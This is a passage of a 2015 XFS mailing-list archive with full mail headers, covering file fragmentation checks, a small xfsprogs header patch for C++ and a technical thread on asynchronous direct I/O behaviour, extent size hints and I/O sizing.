DKIM_VERIFIED, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23444 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Are the xfs_db and filefrag the utilities to use to determine file fragment= ation? # df -k /var/kmem_alloc Filesystem 1K-blocks Used Available Use% Mounted on /dev/sdf1 3905109820 3359385616 545724204 87% /var/kmem_alloc # xfs_db -r -c frag /dev/sdf1=20 actual 438970, ideal 388168, fragmentation factor 11.57% # ls -l fragmented -rw-r--r--. 1 root root 3360239878657 Oct 13 07:25 fragmented # filefrag fragmented=20 fragmented: 385533 extents found Thanks, -Al -----Original Message----- From: Dave Chinner [mailto:david@fromorbit.com]=20 Sent: Monday, October 12, 2015 9:30 PM To: Al Lau (alau2) Cc: xfs@oss.sgi.com Subject: Re: mkfs.xfs -n size=3D65536 On Tue, Oct 13, 2015 at 03:55:26AM +0000, Al Lau (alau2) wrote: > To remedy the fragmented files in our production systems, can I run=20 > the xfs_fsr utility to de-fragment the files? Well, first you need to determine that the files are fragmented and that it= is affecting performance.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Oct 13 03:26:13 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 72C357F37 for ; Tue, 13 Oct 2015 03:26:13 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 600D2304098 for ; Tue, 13 Oct 2015 01:26:10 -0700 (PDT) X-ASG-Debug-ID: 1444724760-04cbb00e8026960001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id xCND4zXgEHSE9JBx for ; Tue, 13 Oct 2015 01:26:01 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2CYHAC8vxxWPCSkLHlDGoMmVG6CXYoxnBkBAQEBAQEGWgEBMYoSiyUlgm6CCnkEAgKBPE0BAQEBAQEHAQEBAUE/QQWDYQEBBDocIxAIAxgJJQ8FJQMHGhOILQ47wA4BAQEBBgEBAQEBHRmGFYVFhQ0HhC4FlhaFGYd5gWCHXoU3jRuEeSozAQEBAYNigwsBAQE Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail04.adl6.internode.on.net with ESMTP; 13 Oct 2015 18:55:49 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1Zluu4-0001OY-Qw; Tue, 13 Oct 2015 19:25:48 +1100 Date: Tue, 13 Oct 2015 19:25:48 +1100 From: Dave Chinner To: "Al Lau (alau2)" Cc: "xfs@oss.sgi.com" Subject: Re: mkfs.xfs -n size=65536 Message-ID: <20151013082548.GH31326@dastard> X-ASG-Orig-Subj: Re: mkfs.xfs -n size=65536 References: <0F279340237AA148AD7E3C6A70561A5E01266BE7@xmb-rcd-x14.cisco.com> <20151013002308.GI27164@dastard> <8a1b26a3b869448e805485c529c447a4@XCH-ALN-020.cisco.com> <20151013033304.GL27164@dastard> <20151013043016.GE31326@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444724760 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23445 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 BSF_SC0_SA085 Custom Rule SA085 On Tue, Oct 13, 2015 at 07:28:48AM +0000, Al Lau (alau2) wrote: > Are the xfs_db and filefrag the utilities to use to determine file fragmentation? > > # df -k /var/kmem_alloc > Filesystem 1K-blocks Used Available Use% Mounted on > /dev/sdf1 3905109820 3359385616 545724204 87% /var/kmem_alloc > # xfs_db -r -c frag /dev/sdf1 > actual 438970, ideal 388168, fragmentation factor 11.57% http://xfs.org/index.php/XFS_FAQ#Q:_The_xfs_db_.22frag.22_command_says_I.27m_over_50.25._Is_that_bad.3F > # ls -l fragmented > -rw-r--r--. 1 root root 3360239878657 Oct 13 07:25 fragmented > # filefrag fragmented > fragmented: 385533 extents found That's a lot of extents, but for a 3TB sparse file that is being written in random 4k blocks, that's expected and there's little you can do about it. Preallocation of the file or use of extent size hints will reduce physical fragmentation, but you only want to use those if the file will eventually become non-sparse and sequential read IO performance is required... i.e. the definition of "fragmented" really depends on the application, IO patterns and whether the current physical layout is acheiving the desired performance attributes of the file in question.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From jtulak@redhat.com Tue Oct 13 03:46:04 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F33F17F37 for ; Tue, 13 Oct 2015 03:46:03 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id DF4E9304039 for ; Tue, 13 Oct 2015 01:46:03 -0700 (PDT) X-ASG-Debug-ID: 1444725962-04cbb00e8027160001-NocioJ Received: from mail-ig0-f179.google.com (mail-ig0-f179.google.com [209.85.213.179]) by cuda.sgi.com with ESMTP id Rzsfz19XWeeto1vn (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 13 Oct 2015 01:46:02 -0700 (PDT) X-Barracuda-Envelope-From: jtulak@redhat.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.213.179 Received: by igbni9 with SMTP id ni9so53117654igb.1 for ; Tue, 13 Oct 2015 01:46:02 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:from:date :message-id:subject:to:cc:content-type; bh=DalT8nRpqaYwXlpK95nDhcOgpJj+jn4yPEX8HK2D7U4=; b=KhmZAH/Pm8zChghDrY0SFi1/IIhtvTeK/VEFnkbFX5nKvH6QIq54rs/TEcqD6upnv7 vFcZazf0Robn5VCKL7Mas2VM3wFq2ACqqiAKeEtQkQChS3mFu9vvnWQ+7aW6i03Pll1i u4NbaWLKt97iwY0ycC4P8Eq9FJ+fS1fZsg4Bsv1ySS0u+GPjViS7AZ0JrI05wg0Cgvne 91x83eS+loJnoF+Q7gJS4v5rSlYM+ckGX+CrMI/Q/RhAYldqEWzKuenZEFU4yAV6Zerp DLosoo+NhE74UdmQmR8Pag7xs3ijncUjIVdrDZ8PKTXgceactCfqYvWZBoDdyVX9ttvP d3IQ== X-Gm-Message-State: ALoCoQmY7WDpWqq4M7Y181rsmPWTdaxsAj18FkNkhe0wLKwaR5tTEm5QoYcjs4ccoOCI/19L87ru X-Received: by 10.50.79.197 with SMTP id l5mr17587421igx.93.1444725962135; Tue, 13 Oct 2015 01:46:02 -0700 (PDT) MIME-Version: 1.0 Received: by 10.36.64.15 with HTTP; Tue, 13 Oct 2015 01:45:42 -0700 (PDT) In-Reply-To: <20151013045442.GG31326@dastard> References: <1442311164-12921-13-git-send-email-jtulak@redhat.com> <1443542653-10525-1-git-send-email-jtulak@redhat.com> <20151013045442.GG31326@dastard> From: Jan Tulak Date: Tue, 13 Oct 2015 10:45:42 +0200 Message-ID: Subject: Re: [PATCH 12/14 v2] xfsprogs: make fsr use mntinfo when there is no mntent To: Dave Chinner X-ASG-Orig-Subj: Re: [PATCH 12/14 v2] xfsprogs: make fsr use mntinfo when there is no mntent Cc: xfs-oss Content-Type: multipart/alternative; boundary=089e013cc168c57df20521f879a3 X-Barracuda-Connect: mail-ig0-f179.google.com[209.85.213.179] X-Barracuda-Start-Time: 1444725962 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23445 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message --089e013cc168c57df20521f879a3 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable On Tue, Oct 13, 2015 at 6:54 AM, Dave Chinner wrote: > > this stuff here. This iteration should be able to be done via the > cursor abstraction, such as by keeping the iteration information > within the cursor... > > =E2=80=8BAh, sorry! I forgot to change the other #if... =E2=80=8BFixing it right now. Cheers, Jan=E2=80=8B --=20 Jan Tulak jtulak@redhat.com / jan@tulak.me --089e013cc168c57df20521f879a3 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable


On Tue, Oct 13, 2015 at 6:54 AM, Dave Chinner <david@fromor= bit.com> wrote:
this stuff here= . This iteration should be able to be done via the
cursor abstraction, such as by keeping the iteration information
within the cursor...

<= div class=3D"gmail_default" style=3D"font-family:arial,helvetica,sans-serif= ;display:inline">=E2=80=8BAh, sorry! I forgot to change the other #if...=C2=A0
=E2=80=8BFixing it right now.

Cheers,
<= div>
Jan=E2=80=8B


<= div>
--
<= div dir=3D"ltr">
Jan Tulak
jtulak@redhat.com=C2=A0/ jan@tulak.me
--089e013cc168c57df20521f879a3-- From avi@cloudius-systems.com Tue Oct 13 03:59:52 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CD53B7F37 for ; Tue, 13 Oct 2015 03:59:52 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 69BD6AC004 for ; Tue, 13 Oct 2015 01:59:49 -0700 (PDT) X-ASG-Debug-ID: 1444726782-04bdf020dbef250001-NocioJ Received: from mail-wi0-f180.google.com (mail-wi0-f180.google.com [209.85.212.180]) by cuda.sgi.com with ESMTP id zeYVAYvossvrWGlh (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 13 Oct 2015 01:59:44 -0700 (PDT) X-Barracuda-Envelope-From: avi@cloudius-systems.com X-Barracuda-Apparent-Source-IP: 209.85.212.180 Received: by wieq12 with SMTP id q12so21262239wie.1 for ; Tue, 13 Oct 2015 01:59:42 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:subject:date:message-id; bh=L4b0VbZica+0YKuWH84Gi8GtvMBvZ93dOV3L++zmwK0=; b=MNWdIZhGJnsSHyOQw1mCJQ1msDqxHLLiqv6H88pVzrW6C9efAg097WRAN96bLE8jYK xpKLORujqXyvavSrX6TgzpZfcrNYgu2zPU2MppXkzfk+c2DVpNJdiiqMku1HL7kFiUVB mbgk6++eTZSoTQLL5NbZbLFTjblyk9WPESaZGYCbUExhXrL/S1dkpno86SHppfz9f1sp fQN66xVxzf0Nm5/0DeGwmjgGhXkfLEaGvPfC3ZRYb/CWrJ2AYoVZcF8im3xfz1Z7EOjT jY7B2MixXiwP+2xQbJ2JfMIPexNERR21jLhPP8hEOEUwSuIwIox9KyrtICSfqjajtQ6f DCXA== X-Gm-Message-State: ALoCoQmHPLf/0zU+j4+GVBelMsl2D/96rFsygMxmNqdFOHZv4lDCmecVtazcBbKYpobQ/d8D1QlN X-Received: by 10.194.11.71 with SMTP id o7mr17246532wjb.75.1444726782140; Tue, 13 Oct 2015 01:59:42 -0700 (PDT) Received: from avi.cloudius-systems.com ([37.142.229.250]) by smtp.gmail.com with ESMTPSA id hd1sm14161174wib.5.2015.10.13.01.59.40 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Tue, 13 Oct 2015 01:59:41 -0700 (PDT) From: Avi Kivity To: xfs@oss.sgi.com Subject: [PATCH] xfsprogs: make platform_defs.h more friendly to C++ code Date: Tue, 13 Oct 2015 11:59:38 +0300 X-ASG-Orig-Subj: [PATCH] xfsprogs: make platform_defs.h more friendly to C++ code Message-Id: <1444726778-11867-1-git-send-email-avi@scylladb.com> X-Mailer: git-send-email 2.4.3 X-Barracuda-Connect: mail-wi0-f180.google.com[209.85.212.180] X-Barracuda-Start-Time: 1444726783 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23445 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- C++ has its own min(); and xfsprog's min() interferes with it. (It's likely to interfere with C applications too, so maybe it should be moved to an internal header) Signed-off-by: Avi Kivity --- include/platform_defs.h.in | 2 ++ 1 file changed, 2 insertions(+) diff --git a/include/platform_defs.h.in b/include/platform_defs.h.in index 30dd7a4..aaabed6 100644 --- a/include/platform_defs.h.in +++ b/include/platform_defs.h.in @@ -74,10 +74,12 @@ typedef unsigned short umode_t; | (minor&IRIX_DEV_MAXMIN))) #define IRIX_DEV_TO_KDEVT(dev) makedev(IRIX_DEV_MAJOR(dev),IRIX_DEV_MINOR(dev)) +#ifndef __cplusplus #ifndef min #define min(a,b) (((a)<(b))?(a):(b)) #define max(a,b) (((a)>(b))?(a):(b)) #endif +#endif #ifndef NBBY #define NBBY 8 -- 2.4.3 From BATV+9a7ed768b5f2b241e97b+4433+infradead.org+hch@bombadil.srs.infradead.org Tue Oct 13 04:06:41 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D7D047F37 for ; Tue, 13 Oct 2015 04:06:41 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id B90A8304053 for ; Tue, 13 Oct 2015 02:06:38 -0700 (PDT) X-ASG-Debug-ID: 1444727196-04bdf020dbef4c0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id pZqgA2FRXRwuPnXT (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 13 Oct 2015 02:06:37 -0700 (PDT) X-Barracuda-Envelope-From: BATV+9a7ed768b5f2b241e97b+4433+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1ZlvXY-0005ph-Fh; Tue, 13 Oct 2015 09:06:36 +0000 Date: Tue, 13 Oct 2015 02:06:36 -0700 From: Christoph Hellwig To: Avi Kivity Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfsprogs: make platform_defs.h more friendly to C++ code Message-ID: <20151013090636.GA15024@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfsprogs: make platform_defs.h more friendly to C++ code References: <1444726778-11867-1-git-send-email-avi@scylladb.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1444726778-11867-1-git-send-email-avi@scylladb.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1444727197 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23445 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Hi Avi, in xfsprogs 4.2 platform_defs.h does not get installed and is purely internal to xfsprogs, so this shouldn't be needed. From avi@cloudius-systems.com Tue Oct 13 04:11:58 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D4FAB7F37 for ; Tue, 13 Oct 2015 04:11:58 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id A7011304053 for ; Tue, 13 Oct 2015 02:11:58 -0700 (PDT) X-ASG-Debug-ID: 1444727514-04bdf020daef680001-NocioJ Received: from mail-lb0-f180.google.com (mail-lb0-f180.google.com [209.85.217.180]) by cuda.sgi.com with ESMTP id E1JH7BT80ezCs3Jv (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 13 Oct 2015 02:11:55 -0700 (PDT) X-Barracuda-Envelope-From: avi@cloudius-systems.com X-Barracuda-Apparent-Source-IP: 209.85.217.180 Received: by lbwr8 with SMTP id r8so12090938lbw.2 for ; Tue, 13 Oct 2015 02:11:54 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:subject:to:references:cc:from:message-id:date :user-agent:mime-version:in-reply-to:content-type :content-transfer-encoding; bh=0VUe8oBiLz1MXuc1INhQhXnZ709u0ELA9ytyVwQ820I=; b=kQQi8AZychJ3Av2h0/Kntl7WstE0n1ccs0boiyN6TcHhJRT9zoqLrRqMFure5CYllY 4rCaL+AxQROqDbjjUxgsKUZwz1lPw0Hj15Rtz7ksWRQwYNnzxGdoSK1UwXqiUQOEN8jz vVhlgFMJhkU1aAQ7SvFBEnVNKVuUToj97A7WD3B2G4c9jywf+SKdICPB4gCDnH3bxKsv qw009wLG90ZKnMPtT9sdPwt37R5lZ0ZLO8YJaNqyIL47dXMqJGohBgA+ipaQ7VgPyWbZ nMqpk/WzAzqUT/8PqP0vfT3uaFVOMJ7eG7uuwxwQRvgJwI80bKMuduRucDnHYiHC6bVf EDoA== X-Gm-Message-State: ALoCoQmd6WPMcHNibRZFWar0gClp8sA5IsEYv7y+m0wJXZn+a2eLLXYN4A4PB6J5upUQJxCXKpT5 X-Received: by 10.112.159.168 with SMTP id xd8mr14348273lbb.118.1444727514048; Tue, 13 Oct 2015 02:11:54 -0700 (PDT) Received: from avi.cloudius-systems.com ([37.142.229.250]) by smtp.googlemail.com with ESMTPSA id y204sm346884lfd.6.2015.10.13.02.11.52 (version=TLSv1/SSLv3 cipher=OTHER); Tue, 13 Oct 2015 02:11:53 -0700 (PDT) Subject: Re: Question about non asynchronous aio calls. To: Dave Chinner X-ASG-Orig-Subj: Re: Question about non asynchronous aio calls. References: <20151007141833.GB11716@scylladb.com> <56152B0F.2040809@sandeen.net> <20151007150833.GB30191@bfoster.bfoster> <56153685.3040401@sandeen.net> <561560B2.1080902@scylladb.com> <20151008042831.GU27164@dastard> <5615FD76.1090309@scylladb.com> <20151008082307.GE11716@scylladb.com> <20151008114622.GV27164@dastard> <561BA970.8080504@scylladb.com> <20151012222311.GD31326@dastard> Cc: Gleb Natapov , Eric Sandeen , Brian Foster , xfs@oss.sgi.com From: Avi Kivity Message-ID: <561CCAD7.7010501@scylladb.com> Date: Tue, 13 Oct 2015 12:11:51 +0300 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <20151012222311.GD31326@dastard> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-lb0-f180.google.com[209.85.217.180] X-Barracuda-Start-Time: 1444727515 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23445 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 10/13/2015 01:23 AM, Dave Chinner wrote: > On Mon, Oct 12, 2015 at 03:37:04PM +0300, Avi Kivity wrote: >> On 10/08/2015 02:46 PM, Dave Chinner wrote: >>> On Thu, Oct 08, 2015 at 11:23:07AM +0300, Gleb Natapov wrote: >>>> On Thu, Oct 08, 2015 at 08:21:58AM +0300, Avi Kivity wrote: >>>>>>>> I fixed something similar in ext4 at the time, FWIW. >>>>>>> Makes sense. >>>>>>> >>>>>>> Is there a way to relax this for reads? >>>>>> The above mostly only applies to writes. Reads don't modify data so >>>>>> racing unaligned reads against other reads won't given unexpected >>>>>> results and so aren't serialised. >>>>>> >>>>>> i.e. serialisation will only occur when: >>>>>> - unaligned write IO will serialise until sub-block zeroing >>>>>> is complete. >>>>>> - write IO extending EOF will serialis until post-EOF >>>>>> zeroing is complete >>>>> By "complete" here, do you mean that a call to truncate() returned, or that >>>>> its results reached the disk an unknown time later? >>>>> >>> No, I'm talking purely about DIO here. If you do write that >>> starts beyond the existing EOF, there is a region between the >>> current EOF and the offset the write starts at. i.e. >>> >>> 0 EOF offset new EOF >>> +dddddddddddddd+..............+nnnnnnnnnnn+ >>> >>> It is the region between EOF and offset that we must ensure is made >>> up of either holes, unwritten extents or fully zeroed blocks before >>> allowing the write to proceed. If we have to zero allocated blocks, >>> then we have to ensure that completes before the write can start. >>> This means that when we update the EOF on completion of the write, >>> we don't expose stale data in blocks that were between EOF and >>> offset... >> Thanks. We found, experimentally, that io_submit(write_at_eof) >> followed by (without waiting) >> io_submit(write_at_what_would_be_the_new_eof) occasionally blocks. > Yes, that matches up with needing to wait for IO completion to > update the inode size before submitting the next IO. > >> So I guess we have to employ a train algorithm here and keep at most >> one aio in flight for append loads (which are very common for us). > Or use prealloc that extends the file and on staartup use and > algorithm that detects the end of data by looking for zeroed area > that hasn't been written. SEEK_DATA/SEEK_HOLE can be used to do > this efficiently... Given that prealloc interferes with aio, we'll just give up the extra concurrency here. > >>>> I think Brian already answered that one with: >>>> >>>> There are no such pitfalls as far as I'm aware. The entire AIO >>>> submission synchronization sequence triggers off an in-memory i_size >>>> check in xfs_file_aio_write_checks(). The in-memory i_size is updated in >>>> the truncate path (xfs_setattr_size()) via truncate_setsize(), so at >>>> that point the new size should be visible to subsequent AIO writers. >>> Different situation as truncate serialises all IO. Extending the file >>> via truncate also runs the same "EOF zeroing" that the DIO code runs >>> above, for the same reasons. >> Does that mean that truncate() will wait for inflight aios, or that >> new aios will wait for the truncate() to complete, or both? > Both. > >>> If you want to limit fragmentation without adding and overhead on >>> XFS for non-sparse files (which it sounds like your case), then the >>> best thing to use in XFS is the per-inode extent size hints. You set >>> it on the file when first creating it (or the parent directory so >>> all children inherit it at create), and then the allocator will >>> round out allocations to the size hint alignment and size, including >>> beyond EOF so appending writes can take advantage of it.... >> We'll try that out. That's fsxattr::fsx_extsize? > *nod* > >> What about small files that are eventually closed, do I need to do >> anything to reclaim the preallocated space? > Truncate to the current size (i.e. new size = old size) will remove > the extents beyond EOF, so will punching a hole from EOF for a > distance larger than the extent size hint. Ok. We already have to truncate if the file size turns out to be not aligned on a block boundary, so we can just make it unconditional. > >>>>> A final point is discoverability. There is no way to discover safe >>>>> alignment for reads and writes, and which operations block io_submit(), >>>>> except by asking here, which cannot be done at runtime. Interfaces that >>>>> provide a way to query these attributes are very important to us. >>>> As Brian pointed statfs() can be use to get f_bsize which is defined as >>>> "optimal transfer block size". >>> Well, that's what posix calls it. It's not really the optimal IO >>> size, though, it's just the IO size that avoids page cache RMW >>> cycles. For direct IO, larger tends to be better, and IO aligned to >>> the underlying geometry of the storage is even better. See, for >>> example, the "largeio" mount option, which will make XFS report the >>> stripe width in f_bsize rather than the PAGE_SIZE of the machine.... >>> >> Well, random reads will still be faster with 512 byte alignment, >> yes? > Define "faster". :) > > If you are talking about minimal latency, then an > individual IO will be marginally faster. If you are worried about > bulk throughput, then you storage will be IOPS bound (hence > destroying latency determinism) and it won't be faster by any metric > you care to measure because you'll end up with blocking in the > request queues during submission... There is also pcie link saturation. Smaller I/Os means we'll reach saturation later, and so the device can push more data. Our workload reads variable-sized pieces of data in random locations on the disk. Increasing the alignment will increase bandwidth, yes, but it won't increase the bandwidth of useful data. > >> and for random writes, you can't just make those I/Os larger, >> you'll overwrite something. >> >> So I read "optimal" here to mean "smallest I/O size that doesn't >> incur a penalty; but if you really need more data, making it larger >> will help". > You hit the nail on the head. For an asynchornous IO engine like > you seem to be building, [http://seastar-project.org. Everything is async, we push open/truncate/fsync to a worker thread, but otherwise everything is one thread per core, and the only syscalls are io_submit and io_getevents. btw, something that may help (I did not measure it) is aio fsync. I've read the thread about it, and using a workqueue in the kernel rather than a worker thread in userspace probably won't give an advantage, but for the special case of aio+dio, do you need the workqueue? It may be possible to special case it, and then you can coalesce several aio fsyncs into a single device flush]. > I'd be aiming for an IO size that maximises > the bulk throughput to/from the storage devices, rather than one > that aims for minimum latency on any one individiual IO. That I/O size is infinite, the larger your I/Os the better your efficiency. But from the application point of view, you aren't increasing the amount of useful data. The application (for random workloads) wants to transfer the minimum amount of data possible, as long as it doesn't cause the kernel or device to drop into a slow path. So far that magic value seems to be the device block size. > i.e. aim > for the minimum IO size that acheives >80% of the usable bandwidth > the storage device has... From avi@cloudius-systems.com Tue Oct 13 04:13:00 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1B72D7F37 for ; Tue, 13 Oct 2015 04:13:00 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A5876AC007 for ; Tue, 13 Oct 2015 02:12:56 -0700 (PDT) X-ASG-Debug-ID: 1444727573-04cb6c578af9780001-NocioJ Received: from mail-lb0-f181.google.com (mail-lb0-f181.google.com [209.85.217.181]) by cuda.sgi.com with ESMTP id iRuAvJZ96N5L9QwJ (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 13 Oct 2015 02:12:55 -0700 (PDT) X-Barracuda-Envelope-From: avi@cloudius-systems.com X-Barracuda-Apparent-Source-IP: 209.85.217.181 Received: by lbbk10 with SMTP id 